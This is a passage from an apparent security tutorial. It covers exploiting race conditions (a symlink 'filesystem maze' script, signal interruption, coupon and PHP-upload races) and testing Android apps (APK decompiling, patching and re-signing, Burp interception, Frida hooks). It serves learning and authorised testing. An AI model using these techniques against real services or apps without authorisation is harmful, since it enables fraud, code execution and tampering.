Error: File is a symlink.
Hello, world!
CTF{f4k3_fl4g_f0r_t3st1ng}
```

You will notice there are 0 errors of "No such file or directory", because we are never removing files, only *renaming* them.

### Increasing the Window

The more stuff in between the check and the use, the higher the chance of success. If it takes a few seconds you may even be able to reliably exploit it manually without needing a script. Increasing this delay can be possible if you have some level of control over the operation. If some folder is removed there, for example, you could create a huge recursive structure of folders that would take some time to delete.

Another trick for the filesystem specifically, is when you provide a path for the file that should be opened. The deeper in **nested folders** your file is, the longer it will take Linux to find the file, as it has to keep entering directories and searching for the next one (paths are limited to 4096 bytes). This can be increased even more by using a **chain of symlinks** that eventually leads to your file (Linux limits you to 40 symlinks). Combining these can make a very slow path to follow, taking multiple times more milliseconds than a direct path. This is called a "filesystem maze".

<pre class="language-shellscript"><code class="lang-shellscript"># # Can be up to 4096 bytes long
<strong>$ cat a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/file.txt
</strong># # Create chains of symlinks for a giant path
./a_end ----------------V
<strong>./a/1/2/3/4/5/6/7/8/9/root
</strong>V-----------------------^
./b_end ----------------V
<strong>./b/1/2/3/4/5/6/7/8/8/root
</strong>V----------...----------^
./t_end ----------------V
<strong>./t/1/2/3/4/5/6/7/7/8/root
</strong>V---------------------^ 
<strong>file.txt
</strong># # Now each symlink can have a 4096 path, and they can be referenced by the short 
# # ./a_end/b_end/.../t_end/file.txt
</code></pre>

Implementing this to its fullest potential would look something like this:

{% code title="maze.sh" %}

```sh
#!/bin/bash

# Setup
target=$(pwd)/maze
rm -rf $target
mkdir $target
cd $target

final_path=""
# Limit of symbolic links is 40, each letter takes 2 so 20 letters
for letter in {a..t}; do
    # Path is max 4096 long, each letter takes 2 so 2000 deep
    path=$(printf "$letter/%.0s" {1..2000})
    mkdir -p "$path"
    # Create link back
    ln -s $(pwd) "${path}_"
    # Create link forward
    ln -s "${path}_" "${letter}_"

    final_path="${final_path}${letter}_/"
done

echo "maze/$final_path"
```

{% endcode %}

After running (which may take a couple seconds), we have a `maze/` folder with all the directories, and importantly symlinks named `a_`, `b_`, ... `t_` that go through the whole maze and eventually end up back at the start. You can put any file in the maze directory, or use `../` to move to another path where the target file is actually stored:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ./maze.sh
</strong>maze/a_/b_/c_/d_/e_/f_/g_/h_/i_/j_/k_/l_/m_/n_/o_/p_/q_/r_/s_/t_/
<strong>$ echo 'Hello, world!' > maze/file.txt
</strong># # Access file directly
<strong>$ time cat maze/file.txt
</strong>Hello, world!
real    0m0.002s
# # Access file through maze
<strong>$ time cat maze/a_/b_/c_/d_/e_/f_/g_/h_/i_/j_/k_/l_/m_/n_/o_/p_/q_/r_/s_/t_/file.txt 
</strong>Hello, world!
real    0m0.010s
</code></pre>

## Memory

In programs, it is common to see different threads that perform tasks in parallel. These threads sometimes need to share data, with one quick and dirty way being global variables, a form of shared memory. Both threads can read and write on this variable and bugs can happen when they try to do this at the same time. Look at the following example:

```python
a = 0
# Thread 1      # Thread 2        # a
a_copy1 = a     |                 | 0
                | a_copy2 = a     | 0
a = a_copy1 + 1 |                 | 1
                | a = a_copy2 + 1 | 1  # (not 2!)
```

Even though *two* additions of `1` took place, `a` starts at 0 and ends at 1! This can happen if memory is read by one thread, and changed in the meantime before it is used and written back. This is why global variables should be used with care. Length checking for buffer overflows, for example, can have much more impact.

In general, if you can get the program in an **unexpected state** there may be possibilities to exploit it. If this state is even for a split second, you can find this window in a sophisticated attack.

Writing data also doesn't happen all at once. There is often a `for()` loop that writes data byte-by-byte, and any time *while writing* the state of the global variable might be invalid. As you might expect these windows are way smaller than what we have been working within the [#filesystem](#filesystem "mention"), and thus require more thought into maximizing the **speed** of attempts and increasing the attack window.\
For testing, simple Python scripts and running in a debugger with pauses might be enough to find a bug, but when actually exploiting a raw binary where the window is a few CPU instructions, you ideally want a C program that can run attempts as fast as the system allows. In a **network** situation, it is also common to send a ton of data repeatedly commanding the server to do something, and a simple trick to quickly send one string over and over again is using `yes`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ yes 'decrease a' | nc localhost 1337
</strong>decrease a
decrease a
decrease a
...
</code></pre>

For a more delicate approach, you might need to implement some multithreading yourself which can send multiple commands at the same time, triggering a race condition:

```python
import threading

def loop1():
    # Set some data, etc.
    
def loop2():
    # Read some data, etc.

threading.Thread(target=loop1).start()
threading.Thread(target=loop1).start()
```

### Signals

All previous attacks talked about multiple processes and multiple threads. But in some cases, it is even possible to cause race condition effects in a single thread! This is possible by **interrupting** the execution with something else, like a **signal handler**. These are defined with the `signal()` function in C and require a *signal number* as well as a pointer to the *signal handler function*. A program can define what happens if a certain signal is sent to it, like an `alarm()` signal (`SIGALRM`=`14`) going off.

The important part is that you can **send any signal** to the process yourself with the `kill` command! This means whatever code is in the signal handler, you can run whenever you want during execution. If this handler makes some change between a check and the use of any piece of code, multithreaded or not, it can mess with the state and lead to exploitable behavior.

First, you can recognize a signal handler like this:

<pre class="language-c"><code class="lang-c">void timeout_handler(void) {
  puts("Logging out due to timeout.");
  privilege_level = 0;
}

<strong>signal(0xe,timeout_handler);
</strong></code></pre>

The `0xe` (14) is the signal number, and a full list can be found with `kill -l`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ kill -l
</strong> 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL       5) SIGTRAP
 6) SIGABRT      7) SIGBUS       8) SIGFPE       9) SIGKILL     10) SIGUSR1
11) SIGSEGV     12) SIGUSR2     13) SIGPIPE     14) <a data-footnote-ref href="#user-content-fn-1">SIGALRM</a>     15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO       30) SIGPWR
31) SIGSYS      34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
</code></pre>

If a process is running, we first need to find its Process ID, which we can find with `ps aux` or if we know the name of the binary simply `pidof [name]`. Then we use `kill -[N] [PID]` to send any signal number to the process at runtime:

{% code title="send SIGALRM to program" %}

```shell-session
kill -14 `pidof program`
```

{% endcode %}

As this is just another syscall, it can also be executed very quickly on a process to more reliably cause a race condition.

{% code title="C" %}

```c
int kill(pid_t pid, int signum);
```

{% endcode %}

## Web

While not having much to do with binary exploitation, race conditions are also **very common** on the web. These web servers often require being able to accept multiple connections at the same time which requires parallel processing for everything a request can do.\
A classic example is applying a coupon code, which possibly looks like this in the backend code:

```python
used = query("SELECT * FROM cart_coupons WHERE cart_id=? AND code=?", cart_id, code)
if not used:
    query("UPDATE cart SET price=price*0.9 WHERE id=?", cart_id)  # 10% off
    query("INSERT INTO cart_coupons VALUES (?, ?)", cart_id, code)
```

The logic seems correct until we think about what possible **flawed states** this code can be in. It is expected that we have either not updated anything yet, or that the price and coupons have both been updated. However, the case in between where the cart price is updated, but the coupon itself has not, is a vulnerability here. If we would try to apply coupons very quickly in multiple threads at the same time the code might do the following:

1. Thread #1 checks if the coupon is used: it is not
2. Thread #2 checks if the coupon is used: it is not
3. Thread #1 updates the price from $100 to $90
4. Thread #2 updates the price **from $90 to $81**
5. Thread #1 inserts the coupon as used
6. Thread #2 inserts the coupon as used

Here we have gotten two reductions out of one coupon code. Going further, there is no hard limit to how many connections we can make at the same time, so this number can go even higher if we carefully send multiple requests at almost the exact same time. This is easily done with the free [Turbo Intruder](https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988) Burp Suite extension which has an `example/race.py` script that opens up connections first, and sometime later opens the floodgates to finish all requests at the same time, increasing the chance of a successful race condition significantly.

To use it, right-click any request you want to attempt to spam against the server (likely by Intercepting and then Dropping to not send it yet), then choose **Extensions** -> **Turbo Intruder** -> **Send to Turbo Intruder**. Choose the right script and if you don't need different payloads per request, remove the `target.baseInput,` argument from the `engine.queue()` call. Then you can press **Attack** to start and analyze all requests and their responses in the table of results.

### Temporary files

A common vulnerable pattern seen in the web is a small window of time where some resource is usable when it shouldn't be. When a webserver in the backend writes some files for example that it later protects, there is a small attack window where the files may be accessible before they are protected. This can for example be seen with file uploads if they are removed after being found to contain malicious content like PHP tags:

```php
file_put_contents($filename, $content);
// < ATTACK WINDOW >
if (str_contains($content, "<?")) {
    unlink($filename);
}
```

{% hint style="info" %}
**Tip**: This specific example is flawed for two reasons because a `<?` filter can be bypassed with a `.htaccess` file and UTF-7 encoding, see [my writeup](https://jorianwoltjer.com/blog/p/ctf/challenge-the-cyber-2022/file-upload-training-mission#bypassing-the-filter) for an example
{% endhint %}

The above code is vulnerable to a Race Condition because an invalid state exists where the data is put on the disk, but its content is not checked yet. With Turbo Intruder or any other tool you can repeatedly **request the URL you think the file will show up at**, and at the same time try **uploading the file** with this snippet of code, which might cause your Intruder to fetch the file contents right in between the write and the check, allowing you to execute any PHP code without the filter.

[^1]: `0xe`


# Setup

Setting up an Android testing environment

## Android Studio

When you get an APK file, this is an Android app. But luckily, you don't necessarily need a physical Android device to test it on, we can use an emulator on a computer!

It starts by installing an emulator. The most popular one and the one I will be using throughout this page is the free Android Studio:

{% embed url="<https://developer.android.com/studio>" %}
A big and powerful program for developing and testing Android apps
{% endembed %}

## Virtual Devices

When Android Studio is installed, you should create an Android Virtual Device. From the "Welcome" menu you can go to **Configure** -> **AVD Manager**. Otherwise, go to **Tools** -> **AVD Manager**. In this table, you can see all your virtual devices. If you do not have one yet, you should create one with the **Create Virtual Device** button in the bottom-left corner.

In the Configuration menu that pops up, you can select any hardware you would like the device to mimic. Most of the difference is just the screen resolution, but one important note is that you should **not use** ![](/files/Kxvr40TviDVvrGaUDBzz) Play Store devices, as this will restrict root filesystem access that we'll need later on.

On the next screen, you can select a System Image. This is important for apps, as some APKs only support certain Android versions. I recommend at least one device with Android 8.1 (API 27) because it is fairly new, and still allows you to Proxy traffic later on.\
In some cases, the app will require a higher version though, so then you can simply create a new device with a higher API to run the app on.

After the device is created, you will be able to use it in the future to run emulated apps.

## Starting an Application

Now that Android Studio and a Virtual Device are set up, you can import and run an app. Start by going to **File** -> **Debug or Profile APK**, where you can select the APK file you want to analyze. After it is imported, you can view a lot of resources and read low-level Smali code.

In the top bar ![](/files/0PyoPyYeenySIdmWMu8j) you can select a device to run it on, and press the green play button to start it. After some time it will then automatically open the app on the emulated device, so you can get an idea of how it works.

## Tools

Some must-have tools to make analyzing APK files easier.

### APKTool

{% embed url="<https://ibotpeaches.github.io/Apktool/>" %}
A decompiling and building tool for reverse engineering APKs
{% endembed %}

### ADB

**A**ndroid **D**e**b**ugger (ADB) is a tool that comes with Android Studio, which allows you to get more from the emulated device, such as a shell to explore the file system or change certain settings.\
After opening Android Studio, the terminal will automatically add its directory to the path, so you can type `adb` to interact with the devices.

Outside of Android Studio you can find the binary at the following locations:

* Windows: `%LOCALAPPDATA%\Android\sdk\platform-tools\adb.exe`
* Linux: `/usr/share/android-sdk/platform-tools/adb`\
  or: `~/Android/Sdk/platform-tools/adb`

The same goes for another tool named `emulator`, which is used to manage all emulated devices and provide a GUI.


# Reversing APKs

Decompiling and understanding unknown APKs, using dynamic and static testing

## Decompiling

For Android apps, there are a few different common formats. A pretty common way is apps coded in Java, where compiling is turning that source code into **Java bytecode**. After this, the Java code along with the resources it needs is **converted** into a Dalvik Executable (DEX) file. You can see this DEX format as the machine code, and another language called **Smali** is basically **assembly**: the human-readable version of machine code while staying pretty low level.

When you want to do static analysis on an APK file, you will first need to **decompile** it to make any sense of the code. There are a few useful tools for this, and the first one is [apktool](https://ibotpeaches.github.io/Apktool/). It is a general-purpose tool for unpacking and rebuilding APKs that gets almost everything from the APK. The main use is turning an **APK** file into **Smali** code, meaning the readable assembly:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ apktool d -f -r app.apk -o app/  # Decompile to smali and assets
</strong>I: Using Apktool 2.4.0-dirty on app.apk
I: Copying raw resources...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
</code></pre>

Other folders/files you might need could be ignored by `apktool`, so it is always a good idea to unpack the APK itself, as **it is just a special ZIP file**. We can simply `unzip` the file to get all the raw content:

```shell-session
unzip app.apk -d app/
```

### Java

Reading Smali code is like reading raw assembly, but often this is not what the app was written in, so there is another process to actually decompile an APK into a JAR file. This tool for this is named [dex2jar](https://github.com/pxb1988/dex2jar/releases), and we will use it on the `.apk` file:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ d2j-dex2jar.sh -f app.apk -o app.jar  # Extract JAR from APK
</strong>dex2jar app.apk -> app.jar
</code></pre>

When we have a JAR file, the next step is to unpack and **decompile** that into `.java` source files. A simple tool that does this for all files in a JAR is [procyon](https://github.com/ststeiger/procyon). Simply run it on the `.jar` file created earlier and specify an output directory:

```shell-session
procyon app.jar -o app.java/  # Decompile JAR into .java files
```

This can take a while for a big application, but after it is finished you can open the directory it created with a Code Editor like IntelliJ and read all the Java source files.

### React Native

Sometimes the decompiled Java code simply does not make any sense, or you see lots of references to "React". When this is the case, it could be that the application was not written in Java, but in a JavaScript framework like React Native. Luckily, there are also tools for decompiling the bundle this creates into semi-readable JavaScript code.

To check if you are dealing with React Native, check for a `assets/index.android.bundle` file in your **unzipped** APK. If that exists, you can use [react-native-decompiler](https://www.npmjs.com/package/react-native-decompiler) to decompile it into multiple JavaScript files.

```shell-session
npx react-native-decompiler -i app.zip/assets/index.android.bundle -o app.js/
```

Because this bundle is heavily packed, there is a lot of code that serves no use to us, and names are mostly lost. But the best bet is to simply take a quick glance at all the files to see if you recognize anything. **Searching for strings** is also very useful if you know some strings when you start the app in an emulator.

{% hint style="info" %}
**Tip**: You might see a lot of `require('./[number]')` code, this simply means it imports a module from the file named `[number].js`.
{% endhint %}

### C# with .NET

Another possibility is C# with .NET as the language the app was written in. You can detect this by finding an `assemblies/` folder in the **unzipped** APK. This folder will contain many `.dll` files, but these files are compressed and not easily readable yet. To decompress the assemblies and allow other tools to work with them use [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress/blob/main/xamarin-decompress.py):

```shell-session
xamarin-decompress.py app.zip/assemblies
```

This will turn `.dll` files into `.decompressed.dll` files in the same directory, which can be easily Reverse Engineered using tools like [dnSpy](https://github.com/dnSpy/dnSpy). For more information on reversing from here on out see [Reversing C# - .NET / Unity](/reverse-engineering/reversing-c-.net-unity). It can decompile these files to almost perfect C# source code.

### Automatic tool

Quickly decompiling an APK file can be quite a hassle, which is originally why I made my `default apk` tool that can do all the things shown above, but automatically by detecting the existence of certain files. I run it every time I come across an APK file I want to Reverse Engineer:

{% embed url="<https://github.com/JorianWoltjer/default/blob/master/default/commands/apk.py>" %}
A CLI tool to automate certain common CTF-related tasks, including APK decompiling
{% endembed %}

For an example of how this tool works and what it does, see this video:

{% embed url="<https://asciinema.org/a/hEDUJNUkZideirH6Z2VcE3WKF?autoplay=1>" %}
An example showing unpacking, detecting and decompiling an APK file into C# `.dll` files
{% endembed %}

## App Resources

In the code, you might find hex numbers similar to `0x7f100213`. These numbers refer to resources of the app, stored with it in the APK.

When you have your APK project open in Android Studio, simply make sure you have the `.apk` file open from the left side, and you can see a list of files in the middle. Click on the `resources.arsc` file and it will show you all the Resource Types and contents in a table. Here you can find what resource matches the hex address you found earlier to find what content it points to.

Most of the **strings** and some other categories will be visible here, but you also might find just a path starting with `res/`. This means the value can be found in the `res/` directory inside of the APK, which is also visible in Android Studio right above the `resources.arsc` file.\
To view the real contents simply select the file in there, or to get the raw data outside Android Studio use the local `res/` folder in the unzipped APK.


# Patching APKs

After decompiling the code, you can change code and build the app again to patch the APK, and make it do different things

## Decompiling

Patching APKs works by changing the Smali code. To get this code, use [apktool](https://ibotpeaches.github.io/Apktool/) to decompile it:

```shell-session
apktool d -f -r app.apk -o app/
```

After that has finished, you will find a `smali/` folder in the output folder of the above command. This contains all the Smali code which is a human-readable assembly for Android. You can open this in your favorite editor to change any of the instructions or values.\
For example, you may find a number responsible for the required score, that you can change to a lower number to bypass some checks.

## Rebuilding

It is often difficult to make big changes to the Smali code, but you can pretty easily change number values or strings in the `.smali` files. After making the changes you want, you can turn it back into an APK file to run in Android Studio.

To build this after making the changes in your `smali/` folder, go to the top directory again, and use apktool to build the APK:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ apktool b -f app/
</strong>I: Using Apktool 2.4.0-dirty
I: Smaling smali folder into classes.dex...
I: Copying raw resources...
I: Copying libs... (/lib)
I: Copying libs... (/kotlin)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
</code></pre>

Now you will find an APK file in `app/dist/app.apk` with your changes. However, to actually be able to run it on an Android device, you first need to **sign** it.

## Signing

To verify the integrity of apps, they must be signed by someone before being able to run on the device. This includes emulated devices, so we need to first sign the patched APK before trying to run it in Android Studio.

The first thing you need to do before signing is to align the APK file. This can be done with the [zipalign](https://developer.android.com/studio/command-line/zipalign) tool:

```shell-session
zipalign -f 4 app/dist/app.apk app/dist/app-aligned.apk
```

After which, you can actually get to the signing. For this, we can use the [apksigner](https://developer.android.com/studio/command-line/apksigner) tool made for this. It needs a few files first, like a **keystore** to read the certificate from. If you do not have a keystore key, which you likely won't if this is the first time you are signing an APK, you can create one with the following command using [keytool](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html):

{% code overflow="wrap" %}

```shell-session
keytool -genkey -noprompt -dname 'CN=, OU=, O=, L=, S=, C=' -keystore apk.keystore -alias 'apk' -keyalg RSA -storepass 'password' -keypass 'password'
```

{% endcode %}

This specific command will create a keystore with the following attributes (which can be anything) that we'll need later:

* Alias: `apk`
* Passwords: `password`

After this has been created, use `apksigner` command to use this keystore, and sign the aligned APK:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ apksigner sign -out app/dist/app-signed.apk --ks-key-alias 'apk' --ks apk.keystore --key-pass 'pass:password' --ks-pass 'pass:password' -v app/dist/app-aligned.apk
</strong>Signed
</code></pre>

Finally, the fully signed APK should be stored in `app/dist/app-signed.apk`. You can verify this using `apksigner verify`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ apksigner verify -v app/dist/app-signed.apk
</strong>Verifies
Verified using v1 scheme (JAR signing): false
Verified using v2 scheme (APK Signature Scheme v2): false
Verified using v3 scheme (APK Signature Scheme v3): true
Number of signers: 1
</code></pre>

This `.apk` file can now successfully be imported into Android Studio, and emulated on a device to run your patched application.


# HTTP(S) Proxy for Android

Intercept traffic going from and to an emulated Android device with Burp Suite

When you have an Android emulator set up in Android Studio, you can change some settings to be able to intercept traffic in a Proxy like Burp Suite. This can be really useful when you want to view or test web functionality that an app uses, as this might reveal interesting vulnerabilities because developers might not expect the app to be reverse-engineered in this way.

One tool we'll use throughout this process is [Setup](/mobile/setup#adb). Make sure you're inside Android Studio to be able to use it, or find its absolute path.

## Configure the Proxy

Every time you start your device and want to intercept its traffic, you should set up the proxy configuration so that all traffic gets sent through your Burp Suite instance.

Below are 2 methods of doing this, either through the CLI (easiest) or through the GUI.

### ADB

To make connecting to your local IP easy, we will set up a reverse port forward from the device's 8080 to your 8080. This way, we can target `127.0.0.1` on the device in the future, and this will send it over to your host system for Burp Suite to intercept.

```bash
adb reverse tcp:8080 tcp:8080
```

Next, The following two commands configure the device to send *all* traffic through this port.

```bash
adb shell settings put global http_proxy 127.0.0.1:8080
adb shell settings put global https_proxy 127.0.0.1:8080
```

Of course, you should have [Burp Suite](https://portswigger.net/burp) running on your host system at this point and can see HTTP requests coming in, although HTTPS websites will likely still cause certificate errors. See [#install-certificate-authority-https](#install-certificate-authority-https "mention") for a guide on how to fix this.

### GUI

In case you want to rather configure the proxy via the GUI, you can use the `emulator`'s display to do so. First start your device with the following command (use `emulator -list-avds` to get the names):

```
emulator -avd Pixel_6_Pro_API_34
```

On the right you should see a bar of options and ![](/files/RJn3wxS3avxwHNOTKwqv) three dots for more options. Click it and visit **Settings** -> **Proxy**. Here you can set a **Manual proxy configuration** to the IP address and port of your proxy. You will likely need to configure an external address because localhost points to the device itself, not your host.

<figure><img src="/files/B9i52GhUe0CbEcOJatpn" alt=""><figcaption><p>Set the Host name and Port number to the correct values where Burp Suite is listening</p></figcaption></figure>

You can now easily test if it works by opening the Chrome app and visiting http(s) websites like <http://example.com/> and <https://example.com/>.

{% hint style="warning" %}
**Tip**: If your Burp Suite proxy is not on localhost (127.0.0.1), you will need to set a different Host name and also edit the Proxy Listener from its Options menu. For **Bind to address** choose **All interfaces** to allow connections from anywhere.\
In this case, also make sure that your firewall is not blocking the listening port.
{% endhint %}

## Install Certificate Authority (HTTPS)

To get rid of certificate errors caused by Burp Suite intercepting HTTPS requests, you must tell the Android device to trust its custom certificate authority.

This describes 2 methods which should both work, but one may be easier than the other depending on your setup. If possible, start with the manual approach because it should work on all types of devices.

### Manual via Settings

With the [#configure-the-proxy](#configure-the-proxy "mention") steps taken, you should be able to visit [http://burp](http://burp/) on your device and end up on Burp Suite's configuration page.

<figure><img src="/files/ZXrsacn51CODDYBpHrfo" alt="" width="290"><figcaption><p>Downloading certificate file on device</p></figcaption></figure>

Click the *CA Certificate* button on the top right and download it to some location on the device.\
Then, go into your settings and look for "Certificate", you should find some option to install a CA certificate as in the screenshot below.

<figure><img src="/files/cVV4S3uJHztWOywvQl5o" alt="" width="291"><figcaption><p>Searching for "certificate" in Settings</p></figcaption></figure>

On this Android version, you have to press *Install Anyway* to start selecting a certificate file from your *Downloads*. Choose the `cacert.der` file from Burp Suite.\
If everything went successfully, you should receive a small message saying "CA certificate installed".

You can now visit HTTPS websites in your browser, and then should be visible in Burp Suite without any certificate errors. Some apps however will still be able to detect the tampering with certificates and possibly not allow you to use them, this is where [#ssl-pinning](#ssl-pinning "mention") comes in.

### CLI via ADB

{% embed url="<https://secabit.medium.com/how-to-configure-burp-proxy-with-an-android-emulator-31b483237053>" %}
Tutorial on installing a certificate manually on the device's filesystem
{% endembed %}

You should first download the certificate from Burp Suite via its GUI. Go to **Proxy** -> **Options**, then click the **Import/export CA certificate** button, and choose for exporting a **Certificate in DER format**. You should save it with the name: `cacert.der`.

Next, we need to convert it to the PEM format that Android expects:

```bash
openssl x509 -inform DER -in cacert.der -out cacert.pem
```

We need to also give it a correct name consisting of the "issuer hash", which can be found like this:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1
</strong>9a5ba575
</code></pre>

Your hash may be different, but you simply have to append `.0` to it to get your final filename:

```bash
mv cacert.pem 9a5ba575.0
```

{% hint style="warning" %}
This part was tested in **API version <= 28** (Android 10) to avoid issues with permissions on the `/system` folder. Your success may vary.
{% endhint %}

We need to move the certificate from our host to the Android device. To do this, we need to set a `-writable-system` flag on the device with the `emulator` tool. Check out [Setup](/mobile/setup#adb) for more information about how to access this binary.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ emulator -list-avds
</strong>PixelXL27
<strong>$ emulator -avd PixelXL27 -writable-system
</strong></code></pre>

Next we need to mount the directory as writable so that we can copy files into it:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ adb root  # Start ADB daemon as root
</strong>restarting adbd as root
<strong>$ adb remount  # Remount /system to update read-only to writable
</strong>remount succeeded
</code></pre>

Finally, `push` the file into `/system/etc/security/cacerts` and give it the correct permissions (664):

```bash
adb push 9a5ba575.0 /system/etc/security/cacerts  # Copy the file onto the device
adb shell "chmod 664 /system/etc/security/cacerts/9a5ba575.0"  # Set the correct permissions
```

Then reboot the device to apply the changes (permanently):

```bash
adb reboot
```

To verify if this worked, you can start the device again in Android Studio and look at **Settings** -> **Security** -> **Trusted Credentials** which should show "PortSwigger" now:

![](/files/yiTLbJglEWX3qKb2SJ9A)


# Frida

A JavaScript tool to interact with running Android applications through code

## Installation

Frida has two parts, a *server* and a *client*. The server runs on the device, and clients connect to it.

{% hint style="warning" %}
**Warning**: Using the latest Android API versions can be unstable because Frida may not support them. I've personally noticed **version 34** working well, and later versions causing segfaults.
{% endhint %}

For a lot of features, the server binary from the [Releases](https://github.com/frida/frida/releases) is required. It's a large list so *Show all assets* and search for `frida-server-*-android-x86_64.xz` or any other architecture depending on your device (check `adb shell getprop ro.product.cpu.abi`).\
Then push the extracted file to your device inside some temporary directory and run it:

```bash
adb push frida-server-*-android-x86_64 /data/local/tmp/frida-server
adb shell chmod +x /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server
```

{% hint style="info" %}
Make sure your device is **rooted** before attempting to run `frida-server`, otherwise, you will receive the following error:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript">$ adb shell /data/local/tmp/frida-server
<strong>Unable to load SELinux policy from the kernel: Failed to open file ?/sys/fs/selinux/policy?: Permission denied
</strong></code></pre>

Simply use [Setup](/mobile/setup#adb) to get a root shell and try again:

```bash
adb root
```

{% endhint %}

Now, on your host system you should install the client CLI in the form of a Python library:

```bash
pip install frida
```

Commands like `frida`, `frida-ps` and `frida-trace` should now become available in your shell.

## Tracing

The `-U` flag should be added to **all commands** because it will use the Android bridge, otherwise you will act on your host system. The simplest command is listing processes with [`frida-ps`](https://frida.re/docs/frida-ps/):

<pre class="language-shellscript" data-title="List Processes"><code class="lang-shellscript"><strong>$ frida-ps -Ua
</strong> PID  Name         Identifier                             
----  -----------  ---------------------------------------
<strong>5852  Chrome       com.android.chrome
</strong>1861  Google       com.google.android.googlequicksearchbox
1861  Google       com.google.android.googlequicksearchbox
1694  Messages     com.google.android.apps.messaging
1053  SIM Toolkit  com.android.stk
1056  Settings     com.android.settings
</code></pre>

You can choose any application *Identifier* and pass it via `-N` to attach `frida-trace` to it (server must be running):

{% code title="Trace specific application" %}

```bash
frida-trace -U -N com.android.chrome
```

{% endcode %}

If the target application is the one in the foreground, you'll be easier off using just `-F` to automatically select it:

{% code title="Trace foreground app" %}

```bash
frida-trace -U -F
```

{% endcode %}

Both start a localhost server on a random port which you can visit in your browser. The UI isn't very intuitive, but there's only a few useful features you will use.

### Logging calls

What this tool is really made for is logging calls to functions or methods while the application is running by inserting *hooks*. You can add one using the <img src="/files/XSLjKZQcxE4ZYi3AsBec" alt="" data-size="line"> button and choose a type on the right dropdown. For example, if you have an application with some method in a class defined in Java that you want to investigate, choose *Java Method*. The syntax template tells you to input `[Module!]Function`, this accepts wildcards, so to target a method named `decrypt` in *any class* use `*!decrypt` (it should give auto-completion results to choose from).

From the command-line you can also quickly set up a default hook like this (`-j` = Java Methods, `-i` for native functions):

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ frida-trace -U -F -j '*!decrypt'
</strong>Instrumenting...
MainActivity.decrypt: Auto-generated handler at "C:\...\decrypt.js"
Started tracing 1 function. Web UI available at http://localhost:2762/
</code></pre>

This will generate a simple handler similar to the following that logs all *arguments* and the *return value*:

{% code title="decrypt.js" %}

```javascript
defineHandler({
  onEnter(log, args, state) {
    log(`MainActivity.decrypt(${args.map(JSON.stringify).join(', ')})`);
  },

  onLeave(log, retval, state) {
    if (retval !== undefined) {
      log(`<= ${JSON.stringify(retval)}`);
    }
  }
});
```

{% endcode %}

Press <img src="/files/ldyDKS2GJCUUACwsDjuD" alt="Deploy" data-size="line"> to run the code (from then on, Ctrl+S reloads your changes). This should log all future calls to the method in question:

{% code title="Log" %}

```log
69887 ms  MainActivity.decrypt("test")
69901 ms  <= false
```

{% endcode %}

{% hint style="info" %}
You write all logic using the [JavaScript API](https://frida.re/docs/javascript-api/) which has a subset of JavaScript's language features.
{% endhint %}

### Native Functions

Native functions are defined in `.so` binaries in the `lib/` folder, you should use binary [Reverse Engineering](/reverse-engineering/ghidra) tools to analyze them. Then, you may find custom functions or even library functions of interest which you want to log the arguments/memory of. While possible to do manually in GDB, the easiest way is by setting a hook with Frida:

```bash
frida-trace -U -F -i '*!memcpy'
```

This sets a *very generic* hook for every time `memcpy()` is called, likely creating way too much spam from random invocations. To focus on a specific place in the code you find, you can look at the *return address* of the call when you intercept it, and then decide whether or not to log it.

Inside your decompiler/disassembler, look at the **call** to your function of interest, and note down the **address of the next instruction**. This will be the return address we're looking for while inside the call. In the following code this would be `0x12de1`, for example:

<figure><img src="/files/szJCOPvyeJlRwk5P2yil" alt=""><figcaption></figcaption></figure>

We will define a hook for `*!memcpy` and check if `this.returnAddress` ends with the same 3 hex digits (because address space shifting happens in increments of `0x1000`). Only if this is true, is the call likely what we need. In the case for this `memcpy()` call, we can read the manpage to learn that its first argument should be the destination, the second argument the source and the third argument the number of bytes to copy.

Because the `args` array will only contain pointers for native code, we can alter it to read the given amount of bytes from the source pointer as a string and print it, to see what string will be copied to the destination.

{% code title="memcpy.js" %}

```javascript
defineHandler({
  onEnter(log, args, state) {
    if (this.returnAddress.and(0xfff).equals(0x00012de1 & 0xfff)) {
      const dst = args[0];
      const src = args[1];
      const size = args[2].toInt32();
      const src_str = src.readUtf8String(size);

      log(`memcpy(${dst}, ${JSON.stringify(src_str)}, ${size})`);
    }
  },
});
```

{% endcode %}

{% code title="Log" %}

```log
